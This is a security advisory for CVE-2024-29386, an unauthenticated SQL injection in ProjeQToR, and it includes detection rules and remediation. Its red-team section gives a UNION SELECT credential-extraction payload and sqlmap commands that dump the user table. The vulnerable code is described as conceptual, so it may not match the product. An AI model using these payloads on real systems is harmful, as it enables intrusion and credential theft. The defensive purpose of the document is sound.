CVE-2024-29386

Executive Summary

CVE-2024-29386 is a critical unauthenticated SQL injection vulnerability discovered in ProjeQToR, an open-source project management tool, up to version 11.2.0. The flaw resides in the /view/criticalResourceExport.php component, allowing a remote attacker to inject arbitrary SQL commands without authentication. Successful exploitation can lead to full database compromise, including extraction of sensitive user credentials, project data, and potential lateral movement within the network. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network attack vector, low complexity, no privileges required, and no user interaction. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk is high given the simplicity of the attack vector. No official patch is available; the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the ProjeQToR PHP application. Organizations using ProjeQToR should treat this as a critical supply chain risk due to the lack of vendor support and the potential for data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and high impact makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability exists in the file /view/criticalResourceExport.php. This script is responsible for exporting critical resource data, likely in CSV or similar format. The SQL injection occurs because user-supplied input (likely from GET or POST parameters such as id, project, or resource) is directly concatenated into a SQL query without proper sanitization or parameterized statements.

Vulnerable Code Pattern (Conceptual):

// /view/criticalResourceExport.php (vulnerable)
$id = $_GET['id'];
$query = "SELECT * FROM resource WHERE id = " . $id;
$result = mysqli_query($conn, $query);

An attacker can inject SQL by providing a malicious value for the id parameter, such as:

1 UNION SELECT username, password, NULL, NULL FROM users--

This would return the contents of the users table alongside legitimate resource data.

Why it works:

• The input is not validated or escaped.
• The query is built using string concatenation.
• The database user likely has broad privileges (common in PHP applications).

Vulnerable vs. Patched Code

Vulnerable Code (ProjeQToR <= 11.2.0):

// /view/criticalResourceExport.php
$id = $_REQUEST['id'];
$query = "SELECT * FROM resource WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical Fix):

// /view/criticalResourceExport.php (patched)
$id = intval($_REQUEST['id']);
$stmt = $conn->prepare("SELECT * FROM resource WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

The fix uses parameterized queries (prepared statements) and type casting to ensure the input is treated as an integer, completely preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: ProjeQToR 11.2.0 running on Apache/PHP with MySQL.
• Attacker: Kali Linux with sqlmap and Burp Suite.

Exploitation Steps:

1. Reconnaissance: Identify the vulnerable endpoint.

   curl -v "http://target/projeqtor/view/criticalResourceExport.php?id=1"
   

2. Manual SQL Injection: Test for injection using a simple payload.

   http://target/projeqtor/view/criticalResourceExport.php?id=1' OR '1'='1
   

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target/projeqtor/view/criticalResourceExport.php?id=1" --batch --dbs
   

4. Extract User Credentials:

   sqlmap -u "http://target/projeqtor/view/criticalResourceExport.php?id=1" -D projeqtor -T user --dump
   

5. Post-Exploitation: Use extracted credentials to log into the admin panel and pivot to other systems.

Expected Output: The attacker gains a full dump of the database, including hashed passwords, project data, and configuration files.

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Logs: Look for suspicious patterns in access logs.

   GET /view/criticalResourceExport.php?id=1%27%20UNION%20SELECT%20...
   

2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection.

   SecRule ARGS "@contains SELECT" "id:1000,phase:2,deny,status:403,msg:'SQL Injection blocked'"
   

3. Network Segmentation: Ensure the database server is not directly accessible from the web server.

4. Honeypot: Deploy a fake criticalResourceExport.php to trap attackers.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /view/criticalResourceExport.php with unusual parameters (e.g., id=1 UNION SELECT, id=1 AND 1=1).
  • Outbound database connections from the web server to unusual IPs (data exfiltration).

• File IOCs:

  • Modified or new files in /var/www/html/projeqtor/view/ (e.g., webshells).
  • Suspicious entries in /var/log/apache2/access.log containing SQL keywords.

• Database IOCs:

  • Unexpected queries in MySQL general log (if enabled).
  • New user accounts or modified permissions in the user table.

Detection Engineering

YARA Rule

rule CVE_2024_29386_ProjeQToR_SQLi {
    meta:
        description = "Detects SQL injection attempts against ProjeQToR criticalResourceExport.php"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-29386"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "criticalResourceExport.php" nocase
        $s2 = "id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "1=1" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: ProjeQToR SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against ProjeQToR criticalResourceExport.php
author: Valters IT
date: 2024/10/27
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'criticalResourceExport.php'
        cs-uri-query|contains|all:
            - 'id='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29386 ProjeQToR SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"criticalResourceExport.php"; http_uri; content:"id="; http_uri; pcre:"/id=.*(UNION|SELECT|OR|AND|1=1)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Remove or rename /view/criticalResourceExport.php if not essential.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting this file.
3. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.

Long-Term Fixes:

1. Code Review: Audit all PHP files for SQL injection vulnerabilities. Use parameterized queries everywhere.
2. Input Validation: Implement strict input validation (e.g., intval() for numeric fields).
3. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., no DROP or INSERT on system tables).
4. Web Application Firewall: Deploy ModSecurity with OWASP Core Rule Set.

Workaround:

• If the export functionality is critical, rewrite the script to use prepared statements and restrict access via .htaccess:

  <Files "criticalResourceExport.php">
      Require ip 192.168.1.0/24
  </Files>
  

Valters IT
Securing Digital Frontiers